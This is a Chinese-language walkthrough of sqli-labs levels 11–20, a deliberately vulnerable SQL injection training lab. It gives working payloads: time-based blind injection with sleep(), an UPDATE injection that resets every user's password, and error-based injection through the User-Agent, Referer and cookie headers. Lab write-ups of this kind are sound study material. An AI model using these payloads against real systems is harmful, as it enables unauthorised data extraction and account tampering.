Less-11 — Less-15:

没啥意思,略了

Less-16:

时间盲注:

 admin") or sleep(2)#

可验证

把之前写的时间盲注脚本改一下即可…

Less-17:

是一个修改密码的功能,update 注入

猜测后台的逻辑为:

update users set password='$_POST['password']' where username='$_POST['username']'

在 password 这里注入,输入

111' where 1=1#

即可把所有用户的密码都修改为111

尝试在 username 那里注入发现不可行,查看源码发现在username 那里做了过滤。

的确,不然和前 10 题还有啥区别 233

Less-18:

注入点在 User-Agent,单引号闭合,报错信息有反馈。 insert 注入,但是插入的内容是无法查看的。

后端的逻辑:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0', '111.111.111.111', if(mid(database(),1,1)='a','admin',sleep(3))#', '$IP', $uname)

$uagent 可控 自然可以想到用时间盲注的方法,payload很简单:

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0', '111.111.111.111', if(mid(database(),1,1)='a',sleep(3),'admin'))#

不过这样的方式存在一些弊端,就是会使得数据库里出现一些不正常的数据。在真实的渗透中,这样的操作是应该尽量避免的。

所以我们要尽量让 insert 语句不能成功执行,同时还能把我们想要的数据返回出来。

结合本题可以返回报错信息的特点,自然就想到用报错注入。

于是 payload 可以是这样:

 0',(SELECT 'temp' FROM (SELECT COUNT(*), CONCAT((database()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) FromTable),'1')#

Less-19:

和 Less-18 一样,只不过注入点在 Referer

测试一下发现 column number 是 2

改一下 上面的 payload 就好了

Less-20:

先登陆进去,发现有用到cookie,怀疑注入点就在cookie,测试一下发现果然。

没过滤 有回显,很简单。